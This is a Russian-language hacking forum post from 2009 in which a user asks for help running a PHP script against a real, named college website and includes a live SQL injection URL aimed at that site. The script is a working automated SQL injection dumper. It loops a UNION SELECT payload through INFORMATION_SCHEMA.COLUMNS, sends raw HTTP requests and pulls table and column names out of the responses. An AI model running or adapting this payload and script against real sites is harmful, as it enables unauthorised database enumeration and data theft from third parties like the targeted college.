Показать сообщение отдельно

  #6  
Старый 16.01.2009, 01:08
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
С нами: 9764446

Репутация: 123
По умолчанию

ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс.
http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8--

PHP код:
<?php
$set
['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост

if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty(
$_GET['e']))$set['e']=$_GET['e'];
if(!empty(
$_GET['u']))$set['u']=$_GET['u'];
if(!empty(
$_GET['z']))$set['z']=$_GET['z'];
if(!empty(
$_GET['c']))$set['c']=$_GET['c'];
if(!empty(
$_GET['f']))$set['f']=$_GET['f'];
if(!empty(
$_GET['s']))$set['s']=$_GET['s'];
if(!empty(
$_GET['h']))$set['h']=$_GET['h'];

for(
$i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре

//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";

$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp$header);
while(!
feof($fp)) $dt.=fread($fp1024);
fclose($fp);

//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));

//Выводим инфу на экран
echo($dt."\r\n");
flush();
}

?>